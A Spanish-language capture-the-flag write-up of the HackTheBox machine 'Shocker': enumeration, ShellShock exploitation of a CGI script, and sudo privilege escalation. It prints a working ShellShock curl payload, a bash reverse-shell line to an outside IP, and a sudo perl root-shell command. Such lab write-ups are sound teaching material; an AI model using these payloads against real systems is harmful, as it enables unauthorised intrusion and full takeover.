Hoy vamos a realizar la maquina Shocker de HackTheBox, una maquina retirada y muy sencilla que nos servirá para ver cómo explotar ShellShock una importante vulnerabilidad de hace unos años.

ShellShock, también conocido como Bashdoor, es una familia de bugs de seguridad en el ampliamente utilizado Shell de bash de UNIX, el primero de los cuales fue revelado el 24 de septiembre de 2014. Muchos servicios que enfrentan Internet, como algunas implementaciones de servidores Web, utilizan Bash para procesar ciertas solicitudes. Esto puede permitir que un atacante obtenga acceso no autorizado a un sistema informático.

Shocker WirteUp

Mi nick en HackTheBox es: manulqwerty, hoy toca Shocker!

Enumeración

Lo primero será hacer un escaneo de puertos, para el cual usaremos nmap.

El nmap nos muestra dos servicios, Apache http y OpenSSH.
En el http no vemos gran cosa:

Vamos a usar dirbuster para buscar directorios y archivos .php

Encontramos el directorio cgi-bin. Los scripts CGI (Common Gateway Interface) son programas que se ejecutan en el servidor y se utilizan para realizar tareas que no son soportadas por el estándar HTML básico.
Vamos a buscar archivos con extension cgi, sh, pl, py en el directorio cgi-bin:

Encontramos el fichero user.sh (http://shocker.htb/cgi-bin/user.sh)
Sabemos que los scripts CGI son usados para explotar ShellShock así que vamos allá.

Explotación

Tal y como leemos en https://github.com/opsxcq/exploit-CVE-2014-6271 podemos ejecutar comandos remotamente con el siguiente comando:

curl -H "user-agent: () { :; }; echo;echo; /bin/bash -c 'id'" http://shocker.htb/cgi-bin/user.sh

Vemos que funciona, ya tenemos RCE. El siguiente paso es obtener shell reversa:

bash -i >& /dev/tcp/10.10.14.9/8080 0>&1

Escalada de privilegios

En el LinEnum.sh y haciendo ‘sudo -l’ vemos:

Así que podemos ejecutar scripts de perl con sudo:

Mediante este simple comando obtenemos shell como root:

sudo /usr/bin/perl -e 'exec "/bin/sh"'

Referencias:

¿Me ayudas a compatirlo?